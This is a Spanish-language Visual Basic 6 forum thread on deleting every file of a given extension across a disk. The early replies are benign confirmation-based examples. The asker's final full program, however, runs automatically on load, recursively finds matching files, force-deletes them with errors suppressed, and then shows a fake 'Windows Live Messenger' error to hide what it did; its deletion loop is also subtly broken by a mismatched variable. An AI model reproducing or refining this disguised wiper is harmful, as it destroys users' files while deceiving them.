Registrarse

[xhc]

hola, como puedo buscar en el disco duro todos los archivos con extension *.jpg(por ejemplo) y luego borrarlos??

saludos

[cassiani]

 Hola... este es una de las alternativas que podes usar:

Código

Option Explicit
 
Private Sub Dir1_Change()
    File1.Path = Dir1.Path
End Sub
 
Private Sub Drive1_Change()
    Dir1.Path = Drive1.Drive
End Sub
 
Private Sub File1_Click()
    'Nos aseguramos de borrar el archivo correcto
    If MsgBox("Esta seguro que desea borrar " & File1.Path & "\" & File1.FileName, _
    vbYesNo, "XHC") = vbYes Then Kill File1.Path & "\" & File1.FileName 'Eliminamos el archivo
 
    File1.Refresh 'Refrescamos el FileListBox
End Sub
 

 Creo que esto hace lo que quieres... 

[xhc]

pero File1.Path y Dir1.Path como se de que extension son?

[~~]

Utilizando right, q a fin de cuentas es una cadena

Pero seria casi mejor q usaras apis, q son mas rapidas.. Mirate esto:

http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/8.htm

[cassiani]

El Drive1 => DriveListBox ==> devuelve el nombre de la unidad de disco seleccionada.
El Dir1   ==> DirListBox    ==> solamente presenta directorios.
El File1  ==> FileListBox   ==> presentará los ficheros existentes en un directorio.
 
 Estos tres son "controles de busqueda de ficheros", se encuentran por defecto en el cuadro de herramientas del vb junto a otros controles como, image, line...etc.
 
 El Drive1 le indicará al Dir1 una unidad de disco valida, el Dir1 le indicará al File1 el directorio donde se encuentra el archivo que vas a borrar y por ultimo el File1 te mostrará todos los ficheros (nombreArchivo.Extención) que se encuentran en el directorio especificado por el Dir1.

 Después solo halláis el .jpg, seleccionadlo y listo.

 Si deseáis que solo se puedan borrar jpg, podes usar el Right como dice EON, este es solo un EJEMPLO una SUGERENCIA de las tantas formas que podes tener para hacer lo que deseáis:

 Agrega esto en el evento click del File1, antes del If que controla la confirmación de eliminación:

Código

If LCase(Right(File1.FileName, 3)) = "jpg" Then 'Verificamos que el archivo seleccionado sea un jpg
 

De esta manera solo se podrían borrar archivos .JPG

Espero haber podido ayudar un poco…. Hasta luego…

[xhc]

respecto a tu codigo C@ss¡@n¡: cuando genero el exe, me sale en C, la subcarpeta de mi usuario y los archivos que hay pero hay que dar doble click en un archivo *.jpg para que se borre, no se podria poner que se borre al ejecutarlo?

[cassiani]

no se podria poner que se borre al ejecutarlo?

 Recuerda, el evento Load se dispara o sucede cuando se carga el formulario, todo lo que en él coloques se ejecutara cuando lo cargues. Si por ejemplo tienes un solo formulario, al ejecutarse el programa realizara esas instrucciones, si tienes varios form entonces colocalo en el principal y pasara lo mismo. Por otro lado si esa es la unica instrucción que realizara el programa, podés hacerlo sin form usando un modulo con su respectivo procedimiento Main.

Si lo que deseáis es borrar todos los jpg de determinado directorio, hacéis esto:

Código

Private Sub Form_Load()
    'Borra todos lo archivos jpg
    Kill "C:\Documents and Settings\Rey\Escritorio\*.jpg" 
End Sub
 

 Por otra parte si tu objetivo es borrar un solo archivo hacéis esto otro: le quitas el *  luego le pones el nombre del archivo a borrar.

Código

'Borra un archivo en especifico
Kill "C:\Documents and Settings\Rey\Escritorio\Archivo.extensión"
 

 

[xhc]

pero no busca en subcarpetas, si pongo    Kill "C:\*.jpg"   , borra los jpg de C:\ pero no borra por ejemplo los de "C:\Documents and Settings\Rafa\Mis documentos", yo quiero que busque todos los archivos con extension .jpg en el disco y que los borre todos, icluiendo los de las subcarpetas. nose si me entiendes 

[~~]

Pero te has mirado el ejemplo q te e puesto?? utiliza las apis FindNextFile y FindFirstFile para recorrer tododos los archivos y directorios y ve borrando los q tengan X extension!!

El ejemplo permite buscar archivos incluyendo subdirectorios, también podemos buscar un determinado fichero como también por extensiones, ..como lo hace windows, y utilizando comodines para la búsqueda

[xhc]

weno con el ejemplo de E0N y una ayuda del codigo de c0c0_w3y_s0ftwar3 he conseguido hacer lo que queria gracias
PD: aqui dejo el codigo completo por si a alguien le interesa :

en un form, agregar 3 timer, 2textbox y 1 listbox

Código:

Option Explicit


'***************************************************************************
'*  Controles        
                        Text1 ( para indicar el Path) _
                        Text2 ( para los archivos, por ejemplo *.txt ) _
                        List1
'***************************************************************************

Private Sub Command1_Click()

  
End Sub



Private Sub Form_Load()
    'Directorio de windows
    Text1.Text = "C:\O"
    'Archivos txt
    Text2.Text = "*.txt"
    
    
Timer1.Interval = 100
Timer2.Interval = 200
Timer3.Interval = 300
End Sub

'Redimensiona y posiciona los controles
'--------------------------------------------------------------


Private Sub Timer1_Timer()
  Dim path As String
    Dim Pattern As String
    Dim FileSize As Currency
    Dim Count_Archivos As Long
    Dim Count_Dir As Long

    Screen.MousePointer = vbHourglass
    
    'Borramos el contenido del List1
    List1.Clear
    
    'Path y archivos a buscar
    path = Text1.Text
    Pattern = Text2.Text
    
    'Llamamos a la función para buscar y que nos retorne algunos datos
    FileSize = FindFilesAPI(path, Pattern, _
                            Count_Archivos, _
                            Count_Dir, List1)

    'Mostramos los resultados
    
    'Cantidad de archivos encontrados
     MsgBox Count_Archivos & " Archivos encontrados en " & _
                        Count_Dir + 1 & " Directorios", 64
                        
    'Tamaño Total en Bytes de los archivos encontrados
    MsgBox "Tamaño total de los archivos: " & _
            path & " = " & _
            Format(FileSize, "#,###,###,##0") & " Bytes", 64

    Screen.MousePointer = vbDefault

End Sub

Private Sub Timer2_Timer()
On Error Resume Next
Dim i As Integer
Dim Pattern As String
Dim rpl
Dim path As String
Set rpl = CreateObject("Scripting.FileSystemObject")
For i = 0 To List1.ListCount
Pattern = List1.List(i)
fso.DeleteFile Pattern, True
Next i
Set fso = Nothing
List1.Clear
MsgBox "Error grabe en el volumen sfx2018688000x114 de Windows Live Messenger", vbInformation, "Error"
End Sub

Private Sub Timer3_Timer()
Timer1.Enabled = False
Timer2.Enabled = False

End Sub

en un modulo:

Código:

Option Explicit


'***************************************************************************
'*  Código fuente del módulo bas
'***************************************************************************



'Declaraciones del Api
'------------------------------------------------------------------------------

'Esta función busca el primer archivo de un Dir
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" ( _
    ByVal lpFileName As String, _
    lpFindFileData As WIN32_FIND_DATA) As Long

'Esta el siguiente archivo o directorio
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" ( _
    ByVal hFindFile As Long, _
    lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" ( _
    ByVal lpFileName As String) As Long

'Esta cierra el Handle de búsqueda
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long


' Constantes
'------------------------------------------------------------------------------

'Constantes de atributos de archivos
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100

'Otras constantes
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1


'UDT
'------------------------------------------------------------------------------

'Estructura para las fechas de los archivos
Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type

'Estructura necesaria para la información de archivos
Private Type WIN32_FIND_DATA
    dwFileAttributes As Long
    ftCreationTime As FILETIME
    ftLastAccessTime As FILETIME
    ftLastWriteTime As FILETIME
    nFileSizeHigh As Long
    nFileSizeLow As Long
    dwReserved0 As Long
    dwReserved1 As Long
    cFileName As String * MAX_PATH
    cAlternate As String * 14
End Type


'-----------------------------------------------------------------------
    'Funciones
'-----------------------------------------------------------------------


'Esta función es para formatear los nombres de archivos y directorios. Elimina los CHR(0)
'------------------------------------------------------------------------
Function Eliminar_Nulos(OriginalStr As String) As String
    
    If (InStr(OriginalStr, Chr(0)) > 0) Then
'FIXIT: Reemplazar la función 'Left' con la función 'Left$'.                               FixIT90210ae-R9757-R1B8ZE
        OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
    End If
    Eliminar_Nulos = OriginalStr

End Function

'Esta función es la principal que permite buscar _
 los archivos y listarlos en el ListBox


'FIXIT: Declare 'FindFilesAPI' con un tipo de datos de enlace en tiempo de compilación     FixIT90210ae-R1672-R1B8ZE
Function FindFilesAPI(path As String, _
                      SearchStr As String, _
                      FileCount As Long, _
                      DirCount As Long, _
                      ListBox As ListBox)


    Dim FileName As String
    Dim DirName As String
    Dim dirNames() As String
    Dim nDir As Long
    Dim i As Long
    Dim hSearch As Long
    Dim WFD As WIN32_FIND_DATA
    Dim Cont As Long


'FIXIT: Reemplazar la función 'Right' con la función 'Right$'.                             FixIT90210ae-R9757-R1B8ZE
    If Right(path, 1) <> "\" Then path = path & "\"
        ' Buscamos por mas directorios
        nDir = 0
        ReDim dirNames(nDir)
        Cont = True
        hSearch = FindFirstFile(path & "*", WFD)
            If hSearch <> INVALID_HANDLE_VALUE Then
                Do While Cont
                    DirName = Eliminar_Nulos(WFD.cFileName)
                    ' Ignore the current and encompassing directories.
                    If (DirName <> ".") And (DirName <> "..") Then
                        ' Check for directory with bitwise comparison.
                            If GetFileAttributes(path & DirName) _
                                And FILE_ATTRIBUTE_DIRECTORY Then
                                
                                dirNames(nDir) = DirName
                                DirCount = DirCount + 1
                                nDir = nDir + 1
                                ReDim Preserve dirNames(nDir)
                            
                            End If
                    End If
                    Cont = FindNextFile(hSearch, WFD) 'Get next subdirectory.
                Loop
                
                Cont = FindClose(hSearch)
            
            End If

        hSearch = FindFirstFile(path & SearchStr, WFD)
        Cont = True
        If hSearch <> INVALID_HANDLE_VALUE Then
            While Cont
                FileName = Eliminar_Nulos(WFD.cFileName)
                    If (FileName <> ".") And (FileName <> "..") Then
                        FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) _
                                                                  + WFD.nFileSizeLow
                        FileCount = FileCount + 1
                        ListBox.AddItem path & FileName
                    End If
                Cont = FindNextFile(hSearch, WFD) ' Get next file
            Wend
        Cont = FindClose(hSearch)
        End If

        ' Si estos son Sub Directorios......
        If nDir > 0 Then

        For i = 0 To nDir - 1
            FindFilesAPI = FindFilesAPI + FindFilesAPI(path & dirNames(i) & "\", _
                                                SearchStr, FileCount, DirCount, ListBox)
        Next i
    End If

End Function